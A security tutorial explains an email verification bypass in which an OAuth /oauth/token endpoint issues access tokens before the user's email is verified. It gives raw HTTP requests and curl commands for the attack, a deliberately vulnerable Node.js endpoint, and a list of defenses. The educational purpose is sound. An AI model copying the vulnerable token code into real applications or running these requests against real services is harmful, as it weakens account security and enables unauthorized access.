Login Email Verification Bypass via /oauth/token

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Login Email Verification Bypass via /oauth/token

Login Email Verification Bypass via /oauth/token: Technical Analysis and Demo

1. Introduction

OAuth 2.0 is a widely used authorization framework for granting limited access to user accounts on HTTP services. However, if misconfigured, it can lead to significant security vulnerabilities. One such vulnerability is the email verification bypass attack that can be executed via the /oauth/token endpoint. In this article, we will explore the technical details of this attack and demonstrate its execution on a demo application.

2. OAuth 2.0 Overview

OAuth 2.0 operates through four main roles:

  • Resource Owner: The entity capable of granting access to a protected resource (typically the end user).
  • Client: The application requesting access to the resource.
  • Resource Server: The server hosting the protected resources.
  • Authorization Server: The server issuing access tokens to the client after successfully authenticating the resource owner.

In a typical OAuth 2.0 flow, the client requests an access token by providing valid credentials to the /oauth/token endpoint. The authorization server, after successfully authenticating the resource owner, provides the client with an access token. This token is then used by the client to access protected resources.

3. Attack Vector: Email Verification Bypass

3.1 Understanding the Email Verification Process

The typical email verification process is as follows:

  1. User Registration: The user creates an account by providing an email address and password.
  2. Email Sending: The system sends a verification email to the provided email address.
  3. Verification: The user verifies their account by clicking on the link in the email.
  4. Token Issuance: After verification, the system issues an access token that allows the user to interact with protected resources.

3.2 Bypassing the Verification

This vulnerability arises when the system allows an access token to be issued before the email verification is completed. The attacker can exploit this by directly interacting with the /oauth/token endpoint.

4. Detailed Execution of the Attack

4.1 Initial Registration

The attacker creates a new account using a valid email address:

POST /register HTTP/1.1
Host: example.com
Content-Type: application/json

{
    "email": "attacker@example.com",
    "password": "StrongPassword123"
}

4.2 Requesting Access Token Without Verification

Instead of completing the email verification, the attacker requests an access token using the password grant type:

POST /oauth/token HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

grant_type=password&username=attacker@example.com&password=StrongPassword123

If the system is vulnerable, it issues an access token to the attacker without requiring email verification.

4.3 Using the Issued Token to Perform Authorized Actions

With the obtained token, the attacker can now access protected resources as if they were a verified user:

curl -X GET "https://example.com/api/userinfo" \
-H "Authorization: Bearer ACCESS_TOKEN"

This allows the attacker to potentially exfiltrate sensitive information or perform unauthorized actions.

5. Defense Mechanisms

To prevent such attacks, the following security measures should be implemented:

  • Enforce Email Verification: The system should not issue an access token without verifying the email. This can be done by checking the is_email_verified flag in the database.
  • Rate Limiting: Apply rate limiting to the /oauth/token endpoint to prevent brute force attacks.
  • Logging: Log all authentication and authorization requests to detect suspicious activity.
  • User Notification: Clearly inform the user about the status of their email verification during the registration process.

6. Demo Application Showcase

6.1 Setting Up the Demo Environment

We will use a simple Node.js application that includes an OAuth 2.0 server, along with registration and token issuance endpoints. However, the email verification step is not properly enforced.

6.2 Vulnerable /oauth/token Endpoint Code Snippet

Here is a simple code example that demonstrates this vulnerability:

app.post('/oauth/token', (req, res) => {
    const { username, password } = req.body;

    // Check if the user exists
    const user = users.find(user => user.email === username && user.password === password);
    if (!user) {
        return res.status(401).json({ error: 'Invalid credentials' });
    }

    // Issue token without checking email verification
    const token = generateAccessToken(user);
    res.json({ access_token: token });
});

In this code, you can see that the email verification is not checked before issuing the token to the user.

6.3 Performing the Attack

  1. Create an Account: 
    curl -X POST "https://demoapp.com/register" \
-H "Content-Type: application/json" \
-d '{"email":"attacker@example.com","password":"StrongPassword"}'
  2. Obtain Token Without Verification: 
    curl -X POST "https://demoapp.com/oauth/token" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d 'grant_type=password&username=attacker@example.com&password=StrongPassword'
  3. Use the Token: 
    curl -X GET "https://demoapp.com/api/userinfo" \
-H "Authorization: Bearer ACCESS_TOKEN"

7. Conclusion

This article has demonstrated how an email verification bypass vulnerability can be exploited through the /oauth/token endpoint. Such vulnerabilities can have serious consequences if not addressed properly. Developers and security professionals should ensure that proper email verification checks are in place before issuing access tokens, and follow best practices for securing OAuth 2.0 implementations.

Stay secure!

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